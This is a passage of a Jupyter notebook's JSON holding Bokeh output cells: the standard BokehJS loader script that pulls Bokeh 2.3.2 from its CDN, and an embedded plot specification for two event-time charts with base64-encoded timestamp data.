       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1151\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) {\n",
       "        if (callback != null)\n",
       "          callback();\n",
       "      });\n",
       "    } finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.debug(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(css_urls, js_urls, callback) {\n",
       "    if (css_urls == null) css_urls = [];\n",
       "    if (js_urls == null) js_urls = [];\n",
       "\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = css_urls.length + js_urls.length;\n",
       "\n",
       "    function on_load() {\n",
       "      root._bokeh_is_loading--;\n",
       "      if (root._bokeh_is_loading === 0) {\n",
       "        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n",
       "        run_callbacks()\n",
       "      }\n",
       "    }\n",
       "\n",
       "    function on_error(url) {\n",
       "      console.error(\"failed to load \" + url);\n",
       "    }\n",
       "\n",
       "    for (let i = 0; i < css_urls.length; i++) {\n",
       "      const url = css_urls[i];\n",
       "      const element = document.createElement(\"link\");\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.rel = \"stylesheet\";\n",
       "      element.type = \"text/css\";\n",
       "      element.href = url;\n",
       "      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n",
       "      document.body.appendChild(element);\n",
       "    }\n",
       "\n",
       "    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\": \"XypntL49z55iwGVUW4qsEu83zKL3XEcz0MjuGOQ9SlaaQ68X/g+k1FcioZi7oQAc\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\": \"bEsM86IHGDTLCS0Zod8a8WM6Y4+lafAL/eSiyQcuPzinmWNgNO2/olUF0Z2Dkn5i\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\": \"TX0gSQTdXTTeScqxj6PVQxTiRW8DOoGVwinyi1D3kxv7wuxQ02XkOxv0xwiypcAH\"};\n",
       "\n",
       "    for (let i = 0; i < js_urls.length; i++) {\n",
       "      const url = js_urls[i];\n",
       "      const element = document.createElement('script');\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.async = false;\n",
       "      element.src = url;\n",
       "      if (url in hashes) {\n",
       "        element.crossOrigin = \"anonymous\";\n",
       "        element.integrity = \"sha384-\" + hashes[url];\n",
       "      }\n",
       "      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.head.appendChild(element);\n",
       "    }\n",
       "  };\n",
       "\n",
       "  function inject_raw_css(css) {\n",
       "    const element = document.createElement(\"style\");\n",
       "    element.appendChild(document.createTextNode(css));\n",
       "    document.body.appendChild(element);\n",
       "  }\n",
       "\n",
       "  \n",
       "  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\"];\n",
       "  var css_urls = [];\n",
       "  \n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    function(Bokeh) {\n",
       "    \n",
       "    \n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if (root.Bokeh !== undefined || force === true) {\n",
       "      \n",
       "    for (var i = 0; i < inline_js.length; i++) {\n",
       "      inline_js[i].call(root, root.Bokeh);\n",
       "    }\n",
       "    if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1151\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(css_urls, js_urls, function() {\n",
       "      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"985c775d-0bc4-4a9e-bdb2-96e033d15b18\" data-root-id=\"1222\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"2ca78564-2d44-440b-96bf-25546b82cd3d\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1154\"},{\"id\":\"1186\"}]},\"id\":\"1222\",\"type\":\"Column\"},{\"attributes\":{\"below\":[{\"id\":\"1197\"},{\"id\":\"1202\"}],\"center\":[{\"id\":\"1200\"}],\"height\":120,\"renderers\":[{\"id\":\"1208\"}],\"title\":{\"id\":\"1187\"},\"toolbar\":{\"id\":\"1201\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"1189\"},\"x_scale\":{\"id\":\"1193\"},\"y_range\":{\"id\":\"1191\"},\"y_scale\":{\"id\":\"1195\"}},\"id\":\"1186\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1225\",\"type\":\"AllLabels\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1235\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1248\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1229\"},\"major_label_policy\":{\"id\":\"1227\"},\"ticker\":{\"id\":\"1170\"},\"visible\":false},\"id\":\"1169\",\"type\":\"LinearAxis\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1234\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1247\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"below\":[{\"id\":\"1165\"}],\"center\":[{\"id\":\"1168\"},{\"id\":\"1172\"}],\"height\":300,\"left\":[{\"id\":\"1169\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"1220\"}],\"title\":{\"id\":\"1155\"},\"toolbar\":{\"id\":\"1179\"},\"width\":900,\"x_range\":{\"id\":\"1157\"},\"x_scale\":{\"id\":\"1161\"},\"y_range\":{\"id\":\"1159\"},\"y_scale\":{\"id\":\"1163\"}},\"id\":\"1154\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"end\":1624959810885.4001,\"start\":1624442015848.6},\"id\":\"1157\",\"type\":\"Range1d\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1237\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1250\",\"type\":\"DaysTicker\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1215\"},\"major_label_policy\":{\"id\":\"1225\"},\"ticker\":{\"id\":\"1166\"}},\"id\":\"1165\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"1232\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"formatter\":{\"id\":\"1203\"},\"major_label_policy\":{\"id\":\"1230\"},\"ticker\":{\"id\":\"1198\"}},\"id\":\"1197\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1236\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1249\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1169\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"1172\",\"type\":\"Grid\"},{\"attributes\":{\"active_multi\":null,\"tools\":[{\"id\":\"1153\"},{\"id\":\"1173\"},{\"id\":\"1174\"},{\"id\":\"1175\"},{\"id\":\"1176\"},{\"id\":\"1177\"}]},\"id\":\"1179\",\"type\":\"Toolbar\"},{\"attributes\":{\"days\":[\"%m-%d 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